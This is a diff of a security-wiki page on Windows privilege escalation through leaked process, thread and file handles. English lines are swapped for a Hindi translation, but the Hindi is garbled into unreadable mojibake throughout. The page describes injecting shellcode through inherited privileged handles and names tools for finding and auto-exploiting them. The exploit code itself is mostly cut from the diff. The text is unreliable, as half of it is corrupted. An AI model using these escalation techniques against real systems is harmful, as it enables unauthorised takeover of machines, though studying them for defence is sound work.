рдкреНрд░рдХреНрд░рд┐рдпрд╛ рднреА рдмрдирд╛рддреА рд╣реИ** (`CreateProcess()`) **рдХрдо рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдХреЗ рд╕рд╛рде рд▓реЗрдХрд┐рди рдореБрдЦреНрдп рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рд╕рднреА рдЦреБрд▓реЗ рд╣реИрдВрдбрд▓ рд╡рд┐рд░рд╛рд╕рдд рдореЗрдВ рд▓реЗрддреЗ рд╣реБрдП**ред\ +рдлрд┐рд░, рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ **рдХрдо рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡рд╛рд▓реА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рддрдХ рдкреВрд░реНрдг рдкрд╣реБрдБрдЪ рд╣реИ**, рддреЛ рдЖрдк `OpenProcess()` рдХреЗ рд╕рд╛рде рдмрдирд╛рдП рдЧрдП **privileged process рдХреЗ рдЦреБрд▓реЗ рд╣реИрдВрдбрд▓ рдХреЛ рдкрдХрдбрд╝ рд╕рдХрддреЗ рд╣реИрдВ** рдФрд░ **shellcode рдХреЛ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ**ред ## **Interesting Handles** ### **Process** -As you read on the initial example if an **unprivileged process inherits a process handle** of a **privileged process** with enough permissions it will be able to execute **arbitrary code on it**. +рдЬреИрд╕рд╛ рдХрд┐ рдЖрдкрдиреЗ рдкреНрд░рд╛рд░рдВрднрд┐рдХ рдЙрджрд╛рд╣рд░рдг рдореЗрдВ рдкрдврд╝рд╛, рдпрджрд┐ рдПрдХ **unprivileged process рдПрдХ privileged process рдХреЗ рд╣реИрдВрдбрд▓ рдХреЛ рд╡рд┐рд░рд╛рд╕рдд рдореЗрдВ рд▓реЗрддрд╛ рд╣реИ** рдЬрд┐рд╕рдореЗрдВ рдкрд░реНрдпрд╛рдкреНрдд рдЕрдиреБрдорддрд┐рдпрд╛рдБ рд╣реИрдВ, рддреЛ рдпрд╣ **рдЗрд╕ рдкрд░ рдордирдорд╛рдирд╛ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд** рдХрд░ рд╕рдХреЗрдЧрд╛ред -In [**this excellent article**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/) you can see how to exploit any process handle that has any of the following permissions: +[**рдЗрд╕ рдЙрддреНрдХреГрд╖реНрдЯ рд▓реЗрдЦ**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/) рдореЗрдВ рдЖрдк рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдХрд┐рд╕реА рднреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рд╣реИрдВрдбрд▓ рдХрд╛ рдХреИрд╕реЗ рд╢реЛрд╖рдг рдХрд┐рдпрд╛ рдЬрд╛рдП рдЬрд┐рд╕рдореЗрдВ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЕрдиреБрдорддрд┐рдпрд╛рдБ рд╣реИрдВ: - PROCESS_ALL_ACCESS - PROCESS_CREATE_PROCESS @@ -29,9 +29,9 @@ In [**this excellent article**](http://dronesec.pw/blog/2019/08/22/exploiting-le ### Thread -Similar to the process handles, if an **unprivileged process inherits a thread handle** of a **privileged process** with enough permissions it will be able to execute **arbitrary code on it**. +рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╣реИрдВрдбрд▓ рдХреЗ рд╕рдорд╛рди, рдпрджрд┐ рдПрдХ **unprivileged process рдПрдХ privileged process рдХреЗ рдереНрд░реЗрдб рд╣реИрдВрдбрд▓ рдХреЛ рд╡рд┐рд░рд╛рд╕рдд рдореЗрдВ рд▓реЗрддрд╛ рд╣реИ** рдЬрд┐рд╕рдореЗрдВ рдкрд░реНрдпрд╛рдкреНрдд рдЕрдиреБрдорддрд┐рдпрд╛рдБ рд╣реИрдВ, рддреЛ рдпрд╣ **рдЗрд╕ рдкрд░ рдордирдорд╛рдирд╛ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд** рдХрд░ рд╕рдХреЗрдЧрд╛ред -In [**this excellent article**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/) you can also see how to exploit any process handle that has any of the following permissions: +[**рдЗрд╕ рдЙрддреНрдХреГрд╖реНрдЯ рд▓реЗрдЦ**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/) рдореЗрдВ рдЖрдк рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдХрд┐рд╕реА рднреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рд╣реИрдВрдбрд▓ рдХрд╛ рдХреИрд╕реЗ рд╢реЛрд╖рдг рдХрд┐рдпрд╛ рдЬрд╛рдП рдЬрд┐рд╕рдореЗрдВ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЕрдиреБрдорддрд┐рдпрд╛рдБ рд╣реИрдВ: - THREAD_ALL_ACCESS - THREAD_DIRECT_IMPERSONATION @@ -39,42 +39,42 @@ In [**this excellent article**](http://dronesec.pw/blog/2019/08/22/exploiting-le ### File, Key & Section Handles -If an **unprivileged process inherits** a **handle** with **write** equivalent **permissions** over a **privileged file or registry**, it will be able to **overwrite** the file/registry (and with a lot of **luck**, **escalate privileged**). +рдпрджрд┐ рдПрдХ **unprivileged process рдПрдХ рд╣реИрдВрдбрд▓ рдХреЛ рд╡рд┐рд░рд╛рд╕рдд рдореЗрдВ рд▓реЗрддрд╛ рд╣реИ** рдЬрд┐рд╕рдореЗрдВ **рд▓рд┐рдЦрдиреЗ** рдХреЗ рд╕рдордХрдХреНрд╖ **рдЕрдиреБрдорддрд┐рдпрд╛рдБ** рд╣реИрдВ рдПрдХ **privileged file рдпрд╛ registry** рдкрд░, рддреЛ рдпрд╣ рдлрд╝рд╛рдЗрд▓/рд░реЗрдЬрд┐рд╕реНрдЯреНрд░реА рдХреЛ **рдУрд╡рд░рд░рд╛рдЗрдЯ** рдХрд░ рд╕рдХреЗрдЧрд╛ (рдФрд░ рдмрд╣реБрдд рд╕рд╛рд░реЗ **рднрд╛рдЧреНрдп** рдХреЗ рд╕рд╛рде, **privileged рдХреЛ рдмрдврд╝рд╛ рд╕рдХрддрд╛ рд╣реИ**)ред -**Section Handles** are similar to file handles, the common name of this kinds of [objects is **"File Mapping"**](https://docs.microsoft.com/en-us/windows/win32/memory/file-mapping). They are used to work with **big files without keeping the entire** file in memory. That makes the exploitation kind of "similar" to the exploitation of a File Handle. +**Section Handles** рдлрд╝рд╛рдЗрд▓ рд╣реИрдВрдбрд▓ рдХреЗ рд╕рдорд╛рди рд╣реЛрддреЗ рд╣реИрдВ, рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдХреЗ [objects рдХрд╛ рд╕рд╛рдорд╛рдиреНрдп рдирд╛рдо **"File Mapping"**](https://docs.microsoft.com/en-us/windows/win32/memory/file-mapping) рд╣реИред рдЗрдиреНрд╣реЗрдВ **рдмрдбрд╝реА рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП** рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдмрд┐рдирд╛ рдкреВрд░реА рдлрд╝рд╛рдЗрд▓ рдХреЛ рдореЗрдореЛрд░реА рдореЗрдВ рд░рдЦреЗред рдпрд╣ рд╢реЛрд╖рдг рдХреЛ рдлрд╝рд╛рдЗрд▓ рд╣реИрдВрдбрд▓ рдХреЗ рд╢реЛрд╖рдг рдХреЗ "рд╕рдорд╛рди" рдмрдирд╛рддрд╛ рд╣реИред ## How to see handles of processes ### Process Hacker -[**Process Hacker**](https://github.com/processhacker/processhacker) is a tool you can download for free. It has several amazing options to inspect processes and one of them is the **capability to see the handles of each process**. +[**Process Hacker**](https://github.com/processhacker/processhacker) рдПрдХ рдЙрдкрдХрд░рдг рд╣реИ рдЬрд┐рд╕реЗ рдЖрдк рдореБрдлреНрдд рдореЗрдВ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЗрд╕рдореЗрдВ рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХрд╛ рдирд┐рд░реАрдХреНрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрдИ рдЕрджреНрднреБрдд рд╡рд┐рдХрд▓реНрдк рд╣реИрдВ рдФрд░ рдЙрдирдореЗрдВ рд╕реЗ рдПрдХ рд╣реИ **рдкреНрд░рддреНрдпреЗрдХ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рд╣реИрдВрдбрд▓ рджреЗрдЦрдиреЗ рдХреА рдХреНрд╖рдорддрд╛**ред -Note that in order to **see all the handles of all the processes, the SeDebugPrivilege is needed** (so you need to run Process Hacker as administrator). +рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ **рд╕рднреА рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЗ рд╕рднреА рд╣реИрдВрдбрд▓ рджреЗрдЦрдиреЗ рдХреЗ рд▓рд┐рдП, SeDebugPrivilege рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ** (рдЗрд╕рд▓рд┐рдП рдЖрдкрдХреЛ Process Hacker рдХреЛ рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдХреЗ рд░реВрдк рдореЗрдВ рдЪрд▓рд╛рдирд╛ рд╣реЛрдЧрд╛)ред -To see the handles of a process, right click in the process and select Handles: +рдПрдХ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рд╣реИрдВрдбрд▓ рджреЗрдЦрдиреЗ рдХреЗ рд▓рд┐рдП, рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдкрд░ рд░рд╛рдЗрдЯ-рдХреНрд▓рд┐рдХ рдХрд░реЗрдВ рдФрд░ рд╣реИрдВрдбрд▓ рдХрд╛ рдЪрдпрди рдХрд░реЗрдВ: ![](<../../images/image (616).png>) -You can then right click on the handle and **check the permissions**: +рдЖрдк рдлрд┐рд░ рд╣реИрдВрдбрд▓ рдкрд░ рд░рд╛рдЗрдЯ-рдХреНрд▓рд┐рдХ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ **рдЕрдиреБрдорддрд┐рдпрд╛рдБ рдЬрд╛рдВрдЪ рд╕рдХрддреЗ рд╣реИрдВ**: ![](<../../images/image (946).png>) ### Sysinternals Handles -The [**Handles** ](https://docs.microsoft.com/en-us/sysinternals/downloads/handle)binary from Sysinternals will also list the handles per process in the console: +[**Handles** ](https://docs.microsoft.com/en-us/sysinternals/downloads/handle) рдмрд╛рдЗрдирд░реА Sysinternals рд╕реЗ рдХрдВрд╕реЛрд▓ рдореЗрдВ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рдЕрдиреБрд╕рд╛рд░ рд╣реИрдВрдбрд▓ рд╕реВрдЪреАрдмрджреНрдз рдХрд░реЗрдЧрд╛: ![](<../../images/image (720).png>) ### LeakedHandlesFinder -[**This tool**](https://github.com/lab52io/LeakedHandlesFinder) allows you to **monitor** leaked **handles** and even **autoexploit** them to escalate privileges. +[**рдпрд╣ рдЙрдкрдХрд░рдг**](https://github.com/lab52io/LeakedHandlesFinder) рдЖрдкрдХреЛ **leaked handles** рдХреА **рдирд┐рдЧрд░рд╛рдиреА** рдХрд░рдиреЗ рдФрд░ рдпрд╣рд╛рдВ рддрдХ рдХрд┐ **autoexploit** рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рддрд╛рдХрд┐ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдмрдврд╝ рд╕рдХреЗред ### Methodology -Now that you know how to find handles of processes what you need to check is if any **unprivileged process is having access to privileged handles**. In that case, the user of the process could be able to obtain the handle and abuse it to escalate privileges. +рдЕрдм рдЬрдм рдЖрдк рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЗ рд╣реИрдВрдбрд▓ рдХреИрд╕реЗ рдЦреЛрдЬреЗрдВ, рдпрд╣ рдЬрд╛рди рдЧрдП рд╣реИрдВ, рддреЛ рдЖрдкрдХреЛ рдпрд╣ рдЬрд╛рдВрдЪрдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ рдХрд┐ рдХреНрдпрд╛ рдХреЛрдИ **unprivileged process рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рд╣реИрдВрдбрд▓ рддрдХ рдкрд╣реБрдБрдЪ рд░рд╣рд╛ рд╣реИ**ред рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ, рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╣реИрдВрдбрд▓ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдЗрд╕реЗ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рджреБрд░реБрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддрд╛ рд╣реИред > [!WARNING] -> It was mentioned before that you need the SeDebugPrivilege to access all the handles. But a **user can still access the handles of his processes**, so it might be useful if you want to privesc just from that user to **execute the tools with the user regular permissions**. +> рдкрд╣рд▓реЗ рдЙрд▓реНрд▓реЗрдЦ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ рдХрд┐ рдЖрдкрдХреЛ рд╕рднреА рд╣реИрдВрдбрд▓реНрд╕ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП SeDebugPrivilege рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред рд▓реЗрдХрд┐рди рдПрдХ **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЕрднреА рднреА рдЕрдкрдиреА рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЗ рд╣реИрдВрдбрд▓реНрд╕ рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХрддрд╛ рд╣реИ**, рдЗрд╕рд▓рд┐рдП рдпрджрд┐ рдЖрдк рдХреЗрд╡рд▓ рдЙрд╕ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╕реЗ privesc рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рддреЛ **рдЙрдкрдХрд░рдгреЛрдВ рдХреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдирд┐рдпрдорд┐рдд рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдирд╛ рдЙрдкрдпреЛрдЧреА рд╣реЛ рд╕рдХрддрд╛ рд╣реИ**ред > > ```bash > handle64.exe /a | findstr /r /i "process thread file key pid:" @@ -82,9 +82,9 @@ Now that you know how to find handles of processes what you need to check is if ## Vulnerable Example -For example, the following code belongs to a **Windows service** that would be vulnerable. The vulnerable code of this service binary is located inside the **`Exploit`** function. This function is starts **creating a new handle process with full access**. Then, it's **creating a low privileged process** (by copying the low privileged token of _explorer.exe_) executing _C:\users\username\desktop\client.exe_. The **vulnerability resides in the fact it's creating the low privileged process with `bInheritHandles` as `TRUE`**. +рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХреЛрдб рдПрдХ **Windows service** рдХрд╛ рд╣реИ рдЬреЛ рдХрдордЬреЛрд░ рд╣реЛрдЧрд╛ред рдЗрд╕ рд╕реЗрд╡рд╛ рдмрд╛рдЗрдирд░реА рдХрд╛ рдХрдордЬреЛрд░ рдХреЛрдб **`Exploit`** рдлрд╝рдВрдХреНрд╢рди рдХреЗ рдЕрдВрджрд░ рд╕реНрдерд┐рдд рд╣реИред рдпрд╣ рдлрд╝рдВрдХреНрд╢рди **рдкреВрд░реНрдг рдкрд╣реБрдБрдЪ рдХреЗ рд╕рд╛рде рдПрдХ рдирдпрд╛ рд╣реИрдВрдбрд▓ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдмрдирд╛рдирд╛ рд╢реБрд░реВ рдХрд░рддрд╛ рд╣реИ**ред рдлрд┐рд░, рдпрд╣ **рдХрдо рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡рд╛рд▓реА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдмрдирд╛ рд░рд╣рд╛ рд╣реИ** ( _explorer.exe_ рдХреЗ рдХрдо рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡рд╛рд▓реЗ рдЯреЛрдХрди рдХреА рдирдХрд▓ рдХрд░рдХреЗ) _C:\users\username\desktop\client.exe_ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд░рд╣рд╛ рд╣реИред **рдХрдордЬреЛрд░реА рдЗрд╕ рддрдереНрдп рдореЗрдВ рдирд┐рд╣рд┐рдд рд╣реИ рдХрд┐ рдпрд╣ `bInheritHandles` рдХреЛ `TRUE` рдХреЗ рд░реВрдк рдореЗрдВ рд╕реЗрдЯ рдХрд░рдХреЗ рдХрдо рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡рд╛рд▓реА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдмрдирд╛ рд░рд╣рд╛ рд╣реИ**ред -Therefore, this low privileges process is able to grab the handle of the high privileged process crated first and inject and execute a shellcode (see next section). +рдЗрд╕рд▓рд┐рдП, рдпрд╣ рдХрдо рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡рд╛рд▓реА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдкрд╣рд▓реЗ рдмрдирд╛рдП рдЧрдП рдЙрдЪреНрдЪ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡рд╛рд▓реА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рд╣реИрдВрдбрд▓ рдХреЛ рдкрдХрдбрд╝рдиреЗ рдФрд░ рдПрдХ shellcode рдХреЛ рдЗрдВрдЬреЗрдХреНрдЯ рдФрд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реИ (рдЕрдЧрд▓реЗ рдЕрдиреБрднрд╛рдЧ рдХреЛ рджреЗрдЦреЗрдВ)ред ```c #include #include @@ -295,7 +295,7 @@ return 0; > [!NOTE] > рдПрдХ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдкрд░рд┐рджреГрд╢реНрдп рдореЗрдВ, рдЖрдк рд╢рд╛рдпрдж **рдЙрд╕ рдмрд╛рдЗрдирд░реА рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдирд╣реАрдВ рдХрд░ рдкрд╛рдПрдВрдЧреЗ** рдЬрд┐рд╕реЗ рдХрдордЬреЛрд░ рдХреЛрдб рджреНрд╡рд╛рд░рд╛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ (_C:\users\username\desktop\client.exe_ рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ)ред рд╢рд╛рдпрдж рдЖрдк **рдПрдХ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рд╕рдордЭреМрддрд╛ рдХрд░реЗрдВрдЧреЗ рдФрд░ рдЖрдкрдХреЛ рджреЗрдЦрдирд╛ рд╣реЛрдЧрд╛ рдХрд┐ рдХреНрдпрд╛ рдЖрдк рдХрд┐рд╕реА рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рдХрд┐рд╕реА рдХрдордЬреЛрд░ рд╣реИрдВрдбрд▓ рддрдХ рдкрд╣реБрдВрдЪ рд╕рдХрддреЗ рд╣реИрдВ**ред -рдЗрд╕ рдЙрджрд╛рд╣рд░рдг рдореЗрдВ рдЖрдк _C:\users\username\desktop\client.exe_ рдХреЗ рд▓рд┐рдП рдПрдХ рд╕рдВрднрд╛рд╡рд┐рдд рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рдХрд╛ рдХреЛрдб рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред\ +рдЗрд╕ рдЙрджрд╛рд╣рд░рдг рдореЗрдВ, рдЖрдк _C:\users\username\desktop\client.exe_ рдХреЗ рд▓рд┐рдП рдПрдХ рд╕рдВрднрд╛рд╡рд┐рдд рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рдХрд╛ рдХреЛрдб рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред\ рдЗрд╕ рдХреЛрдб рдХрд╛ рд╕рдмрд╕реЗ рджрд┐рд▓рдЪрд╕реНрдк рднрд╛рдЧ `GetVulnProcHandle` рдореЗрдВ рд╕реНрдерд┐рдд рд╣реИред рдпрд╣ рдлрд╝рдВрдХреНрд╢рди **рд╕рднреА рд╣реИрдВрдбрд▓ рдХреЛ рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ рд╢реБрд░реВ рдХрд░реЗрдЧрд╛**, рдлрд┐рд░ рдпрд╣ **рдЬрд╛рдВрдЪ рдХрд░реЗрдЧрд╛ рдХрд┐ рдХреНрдпрд╛ рдЗрдирдореЗрдВ рд╕реЗ рдХреЛрдИ рднреА рд╕рдорд╛рди PID рдХрд╛ рд╣реИ** рдФрд░ рдпрджрд┐ рд╣реИрдВрдбрд▓ рдХрд┐рд╕реА **рдкреНрд░рдХреНрд░рд┐рдпрд╛** рдХрд╛ рд╣реИред рдпрджрд┐ рдпреЗ рд╕рднреА рдЖрд╡рд╢реНрдпрдХрддрд╛рдПрдБ рдкреВрд░реА рд╣реЛрддреА рд╣реИрдВ (рдПрдХ рд╕реБрд▓рдн рдЦреБрд▓рд╛ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╣реИрдВрдбрд▓ рдкрд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ), рддреЛ рдпрд╣ **рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рд╣реИрдВрдбрд▓ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП рдПрдХ рд╢реЗрд▓рдХреЛрдб рдХреЛ рдЗрдВрдЬреЗрдХреНрдЯ рдФрд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдЧрд╛**ред\ рд╢реЗрд▓рдХреЛрдб рдХрд╛ рдЗрдВрдЬреЗрдХреНрд╢рди **`Inject`** рдлрд╝рдВрдХреНрд╢рди рдХреЗ рдЕрдВрджрд░ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рдпрд╣ рдХреЗрд╡рд▓ **рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рдЕрдВрджрд░ рд╢реЗрд▓рдХреЛрдб рд▓рд┐рдЦреЗрдЧрд╛ рдФрд░ рдЙрд╕реА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рдЕрдВрджрд░ рдПрдХ рдереНрд░реЗрдб рдмрдирд╛рдПрдЧрд╛** рддрд╛рдХрд┐ рд╢реЗрд▓рдХреЛрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред ```c @@ -503,11 +503,11 @@ return 0; ### Exploit Example 2 > [!NOTE] -> рдПрдХ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдкрд░рд┐рджреГрд╢реНрдп рдореЗрдВ, рдЖрдк рд╢рд╛рдпрдж **рдЙрд╕ рдмрд╛рдЗрдирд░реА рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдирд╣реАрдВ рдХрд░ рдкрд╛рдПрдВрдЧреЗ** рдЬреЛ рдХрдордЬреЛрд░ рдХреЛрдб рджреНрд╡рд╛рд░рд╛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрдиреЗ рдЬрд╛ рд░рд╣реА рд╣реИ (_C:\users\username\desktop\client.exe_ рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ)ред рд╢рд╛рдпрдж рдЖрдк **рдПрдХ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рд╕рдордЭреМрддрд╛ рдХрд░реЗрдВрдЧреЗ рдФрд░ рдЖрдкрдХреЛ рджреЗрдЦрдирд╛ рд╣реЛрдЧрд╛ рдХрд┐ рдХреНрдпрд╛ рдЖрдк рдХрд┐рд╕реА рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рдХрд┐рд╕реА рдХрдордЬреЛрд░ рд╣реИрдВрдбрд▓ рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХрддреЗ рд╣реИрдВ**ред +> рдПрдХ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдкрд░рд┐рджреГрд╢реНрдп рдореЗрдВ, рдЖрдк рд╢рд╛рдпрдж **рдЙрд╕ рдмрд╛рдЗрдирд░реА рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдирд╣реАрдВ рдХрд░ рдкрд╛рдПрдВрдЧреЗ** рдЬрд┐рд╕реЗ рдХрдордЬреЛрд░ рдХреЛрдб рджреНрд╡рд╛рд░рд╛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ (_C:\users\username\desktop\client.exe_ рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ)ред рд╢рд╛рдпрдж рдЖрдк **рдПрдХ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рд╕рдордЭреМрддрд╛ рдХрд░реЗрдВрдЧреЗ рдФрд░ рдЖрдкрдХреЛ рджреЗрдЦрдирд╛ рд╣реЛрдЧрд╛ рдХрд┐ рдХреНрдпрд╛ рдЖрдк рдХрд┐рд╕реА рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рдХрд┐рд╕реА рдХрдордЬреЛрд░ рд╣реИрдВрдбрд▓ рддрдХ рдкрд╣реБрдВрдЪ рд╕рдХрддреЗ рд╣реИрдВ**ред -рдЗрд╕ рдЙрджрд╛рд╣рд░рдг рдореЗрдВ, **рд╢реЗрд▓рдХреЛрдб рдХреЛ рдЗрдВрдЬреЗрдХреНрдЯ рдФрд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЦреБрд▓реЗ рд╣реИрдВрдбрд▓ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рдмрдЬрд╛рдп**, **рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рдЦреБрд▓реЗ рд╣реИрдВрдбрд▓ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рдЯреЛрдХрди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рдирдпрд╛ рдмрдирд╛рдпрд╛ рдЬрд╛рдПрдЧрд╛**ред рдпрд╣ 138 рд╕реЗ 148 рдкрдВрдХреНрддрд┐рдпреЛрдВ рдореЗрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред +рдЗрд╕ рдЙрджрд╛рд╣рд░рдг рдореЗрдВ, **рд╢реЗрд▓рдХреЛрдб рдХреЛ рдЗрдВрдЬреЗрдХреНрдЯ рдФрд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЦреБрд▓реЗ рд╣реИрдВрдбрд▓ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рдмрдЬрд╛рдп**, **рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рдЦреБрд▓реЗ рд╣реИрдВрдбрд▓ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рдЯреЛрдХрди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рдирдпрд╛ рдмрдирд╛рдпрд╛ рдЬрд╛рдПрдЧрд╛**ред рдпрд╣ 138 рд╕реЗ 148 рддрдХ 